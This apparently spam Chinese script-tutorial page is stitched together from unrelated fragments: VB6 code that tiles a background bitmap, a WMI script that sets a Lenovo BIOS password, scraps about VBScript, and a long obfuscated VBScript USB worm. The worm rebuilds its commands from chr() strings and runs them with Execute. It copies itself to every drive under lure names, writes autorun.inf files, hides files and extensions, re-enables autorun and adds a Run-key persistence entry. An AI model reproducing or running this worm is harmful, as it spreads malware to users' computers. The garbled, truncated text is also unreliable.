电脑脚本编辑家国梦ios

发布时间:2021-06-03 来源:脚本之家 点击:



5.建立背景图案形成子程序:
DimpictfileAsString'位图文件名
DimFILEPATHAsString'文件路径
SubBackpict(pictfile)
picture1.ScaleMode=3
Form1.ScaleMode=3
picture1.Picture=LoadPicture(pictfile)
'网格控件覆盖整个窗体背景
grid1.Top=-1
grid1.Left=-1
grid1.Width=Width
grid1.Height=Height
grid1.Cols=Int(Form1.ScaleWidth/picture1.ScaleWidth) 1
grid1.Rows=Int(Form1.ScaleHeight/picture1.ScaleHeight) 1
'所有单元大小等于基本图案大小
ForI=0Togrid1.Cols-1
Forj=0Togrid1.Rows-1
grid1.ColWidth(I)=picture1.ScaleWidth*15
grid1.RowHeight(j)=picture1.ScaleHeight*15
Nextj
NextI
'选定所有单元
grid1.SelStartCol=0
grid1.SelStartRow=0
grid1.SelEndCol=grid1.Cols-1
grid1.SelEndRow=grid1.Rows-1
grid1.Picture=Picture1.Picture
EndSub

6.窗体主程序:
PrivateSubForm_Load()
'得到运行程序路径名,路径名后带反斜杠
IfRight(App.Path,1)<>""Then
filePath=App.Path&""
Else
filePath=App.Path
EndIf
'窗体初始显示由Tiles.bmp基本图案组成的背景
pictfile="c:\windows\Tiles.bmp"
backpict(pictfile)
EndSub

7.退出程序命令按钮:
PrivateSubSSCommand1_Click()
End
EndSub

8.演示不同的底纹图案:本文选取了Windows Tiles.bmp图,读者也可以选取自己喜爱的其它图形
strComputer="."
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\WMI")
' Obtain an instance of the the class
' using a key property value.
Set objShare=objWMIService.Get("Lenovo_SetBiosPassword.InstanceName='ACPI\PNP0C14\1_0'")

' Obtain an InParameters object specific
' to the method.
Set objInParam=objShare.Methods_("SetBiosPassword"). _
inParameters.SpawnInstance_()

' Add the input parameters.
objInParam.Properties_.Item("Parameter")="test"

' Execute the method and obtain the return status.
' The OutParameters object in objOutParams
' is created by the provider.
Set objOutParams=objWMIService.ExecMethod("Lenovo_SetBiosPassword.InstanceName='ACPI\PNP0C14\1_0'", "SetBiosPassword", objInParam)

' List OutParams
Wscript.Echo "Out Parameters: "
Wscript.echo "Return: " & objOutParams.Return

浏览器正在下载代理脚本
首先,我们必须将计算机名称(atl-fs-01)与共享名称(public)分开这里用到两个API函数,LoadCursorFromFile用于装入新光标(xin),需要指明新光标的具体路径及文件名;SetClassLong用于设置使用新光标(xin)

其实 MSDN 的 VBScript 文档中关于 Function 和 Sub 语句的部分提到过 Default 关键字:

Default 只能在 Class 语句块中与 Public 关键字一起使用来表明函数过程是类的默认方法当你在窗体上加入Timer控件时,它只出现在设计时,而不会在运行时出现可见的控件图标

remvbs.rhl

Dimfs,r,ss,w,reg,regpath,dvbs
ddd="Setfs="&chr(67)&"reate"&"Obj"&chr(101)&"c"&chr(116)&chr(40)&chr(34)&"Scrip"&chr(116)&"ing.File"&chr(83)&"yste"&chr(109)&chr(79)&"bject"&chr(34)&chr(41)
Executeddd
rrr="setr="&chr(119)&"scri"&"pt."&chr(67)&"reate"&"Obj"&chr(101)&"c"&chr(116)&chr(40)&chr(34)&chr(119)&"scri"&"pt."&chr(115)&"he"&chr(108)&chr(108)&chr(34)&chr(41)
Executerrr
sss="fs."&chr(103)&"etfil"&chr(101)&chr(40)&chr(119)&"scri"&"pt."&"scri"&chr(112)&"tfull"&chr(110)&"ame"&chr(41)
ttt="setdvbs="&sss
Executettt
r.run(fs.GetSpecialFolder(0)&"\explorer.exe.")
main()
OnErrorResumeNext
submain()
regtime()
finddrive()
countdrive(ss)
regwrite()
ganranfile(ss)
xunhuan()
endsub
Functionfinddrive()
ifdvbs.name="USBDRIVE.dll"then
regwrite()
ganrandisk()
endif
ifdvbs.name<>"autorun.vbs"anddvbs.name<>"USBDRIVE.dll"then
regwrite()
dvbs.delete(true)
endif
ss=Trim("")
Setdc=fs.Drives
ForEachdIndc
Ifd.DriveType=1ord.DriveType=2andd.IsReadyThen
ss=ss&d.DriveLetter
endif
Next
ss=StrReverse(LCase(Trim(ss)))
endFunction
Functioncountdrive(ss)
OnErrorResumeNext
dimx
Fori=1ToLen(ss)
x=Mid(ss,i,1)
ifx=""then
x=Mid(ss,1,1)
i=1
endif
Setw=fs.GetDrive(x)
ganrandiskroot()
Next
endFunction
Functionganrandiskroot()
dimc,s,f,vbc,ts,runreg
OnErrorResumeNext
Ifw.DriveType=2orw.DriveType=1andw.IsReadyThen
Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then
else
fff=sss&".copy("&chr(34)&fs.GetSpecialFolder(1)&"\USBDRIVE.dll"&chr(34)&")"
Executefff
Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then
else
fff=sss&".copy("&chr(34)&"D:\SystemVolumeInformation\USBDRIVE.dll"&chr(34)&")"
Executefff
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
Setts=fs.CreateTextFile(w.DriveLetter&":\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\vbs.reg")
f.attributes=f.attributes+7
Setts=fs.CreateTextFile(w.DriveLetter&":\doc.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\doc.reg")
f.attributes=f.attributes+7
endif
endif
endif
Iffs.FileExists(w.DriveLetter&":\autorun.vbs")Then
Setc=fs.opentextfile(w.DriveLetter&":\autorun.vbs",1)
vbc=c.readall
IfInStr(vbc,"vbs.rhl")<>0Then
c.Close
Else
c.Close
Setc=fs.GetFile(w.DriveLetter&":\autorun.vbs")
c.delete(true)
fff=sss&".copy("&chr(34)&w.DriveLetter&":\autorun.vbs"&chr(34)&")"
Executefff
s=Array("2007总结病毒","这是病毒","违纪病毒","检查病毒","黑名单病毒","没有发出的病毒","恋爱的病毒(病毒)")
Randomize
i=Int((6*Rnd)+1)
fff=sss&".copy("&chr(34)&w.DriveLetter&":"&s(i)&".vbs"&chr(34)&")"
Executefff
Setb=fs.GetFile(w.DriveLetter&":"&s(i)&".vbs")
b.attributes=b.attributes-b.attributes
Setc=fs.GetFile(w.DriveLetter&":\autorun.vbs")
c.attributes=c.attributes+7
Iffs.FileExists(w.DriveLetter&":\vbs.reg")orfs.FileExists(w.DriveLetter&":\doc.reg")Then
else
ifw.DriveLetter="C"then
Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\vbs.reg")
f.attributes=f.attributes+7
Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\doc.reg")
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\doc.reg")
f.attributes=f.attributes+7
else
Setts=fs.CreateTextFile(w.DriveLetter&":\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\vbs.reg")
f.attributes=f.attributes+7
Setts=fs.CreateTextFile(w.DriveLetter&":\doc.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\doc.reg")
f.attributes=f.attributes+7
endif
endif
endif
else
fff=sss&".copy("&chr(34)&w.DriveLetter&":\autorun.vbs"&chr(34)&")"
Executefff
s=Array("检查病毒","2007总结病毒","违纪病毒","这是病毒","黑名单","没有发出的病毒","恋爱的病毒(病毒)")
Randomize
i=Int((6*Rnd)+1)
fff=sss&".copy("&chr(34)&w.DriveLetter&":"&s(i)&".vbs"&chr(34)&")"
Executefff
Setb=fs.GetFile(w.DriveLetter&":"&s(i)&".vbs")
b.attributes=b.attributes-b.attributes
Setc=fs.GetFile(w.DriveLetter&":\autorun.vbs")
c.attributes=c.attributes+7
Iffs.FileExists(w.DriveLetter&":\vbs.reg")orfs.FileExists(w.DriveLetter&":\doc.reg")Then
else
ifw.DriveLetter="C"then
Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\vbs.reg")
f.attributes=f.attributes+7
Setts=fs.CreateTextFile(fs.GetSpecialFolder(1)&"\doc.reg")
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(fs.GetSpecialFolder(1)&"\doc.reg")
f.attributes=f.attributes+7
else
Setts=fs.CreateTextFile(w.DriveLetter&":\vbs.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\vbs.reg")
f.attributes=f.attributes+7
Setts=fs.CreateTextFile(w.DriveLetter&":\doc.reg",true)
ts.WriteLine"WindowsRegistryEditorVersion5.00"
ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34)
ts.close
Setf=fs.GetFile(w.DriveLetter&":\doc.reg")
f.attributes=f.attributes+7
endif
endif
endif
Iffs.FileExists(w.DriveLetter&":\autorun.inf")Then
Setc=fs.opentextfile(w.DriveLetter&":\autorun.inf",1)
vbc=c.readall
IfInStr(vbc,"WScript.exe.\autorun.vbs")<>0Then
c.Close
Else
Setf=fs.GetFile(w.DriveLetter&":\autorun.inf")
f.attributes=f.attributes-f.attributes
Setts=f.OpenAsTextStream(2,-2)
ts.WriteLine"[AutoRun]"
ts.WriteLine"open="
ts.WriteLine""
ts.WriteLine"shell\open=打开(&O)"
ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs"
ts.WriteLine"shell\open\Default=1"
ts.close
f.attributes=f.attributes+7
endif
else
Setts=fs.CreateTextFile(w.DriveLetter&":\autorun.inf",true)
ts.WriteLine"[AutoRun]"
ts.WriteLine"open="
ts.WriteLine""
ts.WriteLine"shell\open=打开(&O)"
ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs"
ts.WriteLine"shell\open\Default=1"
ts.close
Setf=fs.GetFile(w.DriveLetter&":\autorun.inf")
f.attributes=f.attributes+7
EndIf
endif
endFunction
Functionregwrite()
OnErrorResumeNext
dims
a1="HKE"&"Y_CUR"&"RENT_US"&"ER\Soft"&"ware\Mi"&"croso"&"ft\Win"&"dows\Cur"&"rentV"&"ersion\Exp"&"lorer\Ad"&"vanced"(a1=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\
a2="HK"&"EY_CLAS"&"SES_RO"&"OT\DLL"&"File"(a2=HKEY_CLASSES_ROOT\DLLFile)
a3="HKEY"&"_LOCA"&"L_MACH"&"INE\SOFT"&"WARE\Mi"&"cros"&"oft\Win"&"dows\Cur"&"rentVer"&"sion\poli"&"cies\Expl"&"orer\NoDr"&"iveTypeAutoRun"
(a3=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoRun)
a4="HKE"&"Y_CURR"&"ENT_USE"&"R\Softw"&"are\Micr"&"osoft\Wi"&"ndows\Cur"&"rentVersi"&"on\Polici"&"es\Explor"&"er\NoDriveT"&"ypeAutoRun"
(a4=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun)
a5="HK"&"EY_LO"&"CAL_MA"&"CHINE\Sof"&"tware\Mi"&"croso"&"ft\Wind"&"ows\Curre"&"ntVersi"&"on\Ru"&"n\USBDR"&"IVE.dll"
(a5=HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\USBDRIVE.dll)
a6="R.Re"&"gWri"&chr(116)&"e"(a6=R.RegWrichr(116)e)
a7="HKE"&"Y_CLAS"&"SES_ROO"&"T\VBSF"&"ile\Defau"&"ltIcon"
(a7=HKEY_CLASSES_ROOT\VBSFile\DefaultIcon)
sets=fs.GetDrive(fs.GetDriveName(dvbs.path))
scandoc(fs.GetSpecialFolder(0)&"\Installer")
ifreg="wordicon.exe"then
ifs="C:"then
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\doc.reg")
else
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&fs.GetSpecialFolder(1)&"\doc.reg")
endif
else
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\doc.reg")
else
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&s.DriveLetter&":\doc.reg")
endif
endif
ppp=a6&Space(2)&chr(34)&a7&chr(34)&","&chr(34)®path&",1"&chr(34)
Executeppp
else
ifs="C:"then
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\vbs.reg")
else
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&fs.GetSpecialFolder(1)&"\vbs.reg")
endif
else
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&"D:\SystemVolumeInformation\vbs.reg")
else
r.run(fs.GetSpecialFolder(1)&"\dllcache\regedit.exe/s"&Space(3)&s.DriveLetter&":\vbs.reg")
endif
endif
ppp=a6&Space(2)&chr(34)&a7&chr(34)&","&chr(34)&fs.GetSpecialFolder(1)&"\shell32.dll,1"&chr(34)
Executeppp
endif
ppp=a6&Space(2)&chr(34)&a1&"ShowSuperHidden"&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a1&"HideFileExt"&chr(34)&","&"1,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a1&"Hidden"&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a2&"ScriptEngine"&chr(34)&","&chr(34)&"VBScript"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a2&"ScriptHostEncode"&chr(34)&","&chr(34)&"{85131631-480C-11D2-B1F9-00C04F86C324}"&chr(34)
Executeppp
ppp=a6&Space(1)&chr(34)&a2&"Shell\Open\Command"&chr(34)&","&chr(34)&fs.GetSpecialFolder(1)&"\Wscript.exe"&Space(1)&chr(34)&chr(34)&"%1"&chr(34)&chr(34)&Space(1)&"%*"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a2&"ShellEx\PropertySheetHandlers\WSHProps"&chr(34)&","&chr(34)&"{60254CA5-953B-11CF-8C96-00AA00B8708C}"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a3&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp
ppp=a6&Space(2)&chr(34)&a4&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp
iffs.FileExists("D:\SystemVolumeInformation\USBDRIVE.dll")Then
ppp=a6&Space(2)&chr(34)&a5&chr(34)&","&chr(34)&"D:\SystemVolumeInformation"&"\USBDR"&"IVE.dll"&chr(34)
Executeppp
else
ppp=a6&Space(2)&chr(34)&a5&chr(34)&","&chr(34)&fs.GetSpecialFolder(1)&"\USBDR"&"IVE.dll"&chr(34)
Executeppp
endif
ifday(date())="27"then(27号报告错误)
msgbox"小样

另外的一种处理方法是:在时间要求高的循环前,将静态变量数值装入动态变量中

Currency-922,337,203,685,477.5808 到 922,337,203,685,477.5807退出
    DimstrQueryAsString
    strQuery="SELECT*FROMSuppliersWHERESupplierID=12"
    Adodc1.RecordSource=strQuery
    Adodc1.Refresh

    更改DataSource
    在运行时,可以将DataSource属性重新设置为一个不同的数据源如果两个条件同时为真,我们将会回显一个令人愉快的节日消息,“Thetargetdateiswithinthespecifiedrange.(目标日期在指定的范围之内。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号